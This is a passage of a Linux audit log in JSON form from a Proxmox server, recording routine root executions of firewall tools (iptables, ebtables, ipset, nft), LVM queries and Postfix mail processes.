exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61211 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966260.977:69110): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245725,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.725:64781): argc=1 a0=\"date\""} {"@timestamp":1781965045151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.151:63796): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.968:69109): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245719,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.719:64779): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965045144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.144:63795): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.968:69108): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245709,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.709:64778): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965045141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.141:63794): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=64858f078740 items=0 ppid=1156 pid=61208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966255968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.968:69107): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245700,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.700:64777): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965045139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.139:63793): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc148b10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.957:69106): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245697,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.697:64776): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965045134,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.134:63792): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1317a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.957:69105): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245689,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.689:64775): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965045129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.129:63791): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.957:69104): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245678,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.678:64774): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965045124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.124:63790): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100ec0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255420,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.420:69103): proctitle=\"ebtables-restore\""} {"@timestamp":1781965244125,"@rawstring":"node=pve type=EXECVE msg=audit(1781965244.125:64773): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965045118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.118:63789): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1394e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.418:69102): proctitle=\"ebtables-restore\""} {"@timestamp":1781965244102,"@rawstring":"node=pve type=EXECVE msg=audit(1781965244.102:64772): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965045113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.113:63788): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc3c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.414:69101): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966385439,"@rawstring":"node=pve type=PATH msg=audit(1781966385.439:69504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.107:63787): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.411:69100): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966385439,"@rawstring":"node=pve type=PATH msg=audit(1781966385.439:69504): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.100:63786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.410:69099): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966385435,"@rawstring":"node=pve type=PATH msg=audit(1781966385.435:69503): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.097:63785): arch=c000003e syscall=59 success=yes exit=0 a0=5eb5b564e0a0 a1=5eb5b564ae20 a2=5eb5b562c680 a3=5 items=2 ppid=61194 pid=61200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.410:69098): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966385435,"@rawstring":"node=pve type=PATH msg=audit(1781966385.435:69503): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.093:63784): arch=c000003e syscall=59 success=yes exit=0 a0=5eb5777adac8 a1=7fff31a1f1b0 a2=5eb5b562c680 a3=5eb57779124e items=2 ppid=61194 pid=61196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.406:69097): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966385430,"@rawstring":"node=pve type=PATH msg=audit(1781966385.430:69502): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.092:63783): arch=c000003e syscall=59 success=yes exit=0 a0=7fff31a1f170 a1=5eb5b5633310 a2=5eb5b562c680 a3=5 items=2 ppid=61194 pid=61195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255400,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.400:69096): proctitle=69707365740073617665"} {"@timestamp":1781966385430,"@rawstring":"node=pve type=PATH msg=audit(1781966385.430:69502): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.087:63781): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.395:69095): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966385429,"@rawstring":"node=pve type=PATH msg=audit(1781966385.429:69501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.081:63780): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.388:69094): proctitle=\"ip6tables-save\""} {"@timestamp":1781966385429,"@rawstring":"node=pve type=PATH msg=audit(1781966385.429:69501): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.074:63779): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.383:69093): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966385428,"@rawstring":"node=pve type=PATH msg=audit(1781966385.428:69500): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045069,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.069:63778): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61191 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.378:69092): proctitle=\"iptables-save\""} {"@timestamp":1781966385423,"@rawstring":"node=pve type=PATH msg=audit(1781966385.423:69499): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.063:63777): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d640 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255371,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.371:69091): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966385423,"@rawstring":"node=pve type=PATH msg=audit(1781966385.423:69499): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.056:63776): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1478d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.365:69090): proctitle=\"ip6tables-save\""} {"@timestamp":1781966385423,"@rawstring":"node=pve type=PATH msg=audit(1781966385.423:69499): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965044.568:63775): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dadd0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.360:69089): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966385416,"@rawstring":"node=pve type=PATH msg=audit(1781966385.416:69498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965044.533:63774): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73af4a0 a1=64f8d6e6e990 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255355,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966255.355:69088): proctitle=\"iptables-save\""} {"@timestamp":1781966385416,"@rawstring":"node=pve type=PATH msg=audit(1781966385.416:69498): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965041.581:63773): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254928,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966254.928:69087): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966385409,"@rawstring":"node=pve type=PATH msg=audit(1781966385.409:69497): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965041.571:63770): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966254890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966254.890:69086): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966385409,"@rawstring":"node=pve type=PATH msg=audit(1781966385.409:69497): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.803:63767): arch=c000003e syscall=59 success=yes exit=0 a0=5ed6c0c7c330 a1=5ed6c0c7c360 a2=5ed6c0c7aa50 a3=60 items=2 ppid=61180 pid=61181 auid=4294967295 uid=65534 gid=65534 euid=65534 suid=65534 fsuid=65534 egid=105 sgid=105 fsgid=105 tty=(none) ses=4294967295 comm=\"postdrop\" exe=\"/usr/sbin/postdrop\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966250.950:69085): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385402,"@rawstring":"node=pve type=PATH msg=audit(1781966385.402:69496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.797:63766): arch=c000003e syscall=59 success=yes exit=0 a0=56626cd79d40 a1=56626cd79cc0 a2=7ffc95affb28 a3=8 items=2 ppid=61179 pid=61180 auid=4294967295 uid=65534 gid=65534 euid=65534 suid=65534 fsuid=65534 egid=65534 sgid=65534 fsgid=65534 tty=(none) ses=4294967295 comm=\"sendmail\" exe=\"/usr/sbin/sendmail\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966250.950:69084): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385402,"@rawstring":"node=pve type=PATH msg=audit(1781966385.402:69496): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.776:63765): arch=c000003e syscall=59 success=yes exit=0 a0=56372e5c5400 a1=56372e5c53d0 a2=56372e5c4b60 a3=1 items=2 ppid=61178 pid=61179 auid=4294967295 uid=65534 gid=65534 euid=0 suid=0 fsuid=0 egid=65534 sgid=65534 fsgid=65534 tty=(none) ses=4294967295 comm=\"proxmox-mail-fo\" exe=\"/usr/libexec/proxmox-mail-forward\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966250.950:69083): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385396,"@rawstring":"node=pve type=PATH msg=audit(1781966385.396:69495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.767:63764): arch=c000003e syscall=59 success=yes exit=0 a0=630368be4290 a1=630368be4530 a2=630368bdc8f0 a3=0 items=2 ppid=1137 pid=61178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"local\" exe=\"/usr/lib/postfix/sbin/local\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966250.944:69082): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385396,"@rawstring":"node=pve type=PATH msg=audit(1781966385.396:69495): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.756:63763): arch=c000003e syscall=59 success=yes exit=0 a0=630368be1650 a1=630368be19b0 a2=630368bdc8f0 a3=0 items=2 ppid=1137 pid=61177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"bounce\" exe=\"/usr/lib/postfix/sbin/bounce\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966250.944:69081): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385390,"@rawstring":"node=pve type=PATH msg=audit(1781966385.390:69494): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965038.692:63762): arch=c000003e syscall=59 success=yes exit=0 a0=630368be2ff0 a1=630368be3360 a2=630368bdc8f0 a3=0 items=2 ppid=1137 pid=61176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"smtp\" exe=\"/usr/lib/postfix/sbin/smtp\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966250.944:69080): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966385390,"@rawstring":"node=pve type=PATH msg=audit(1781966385.390:69494): item=0 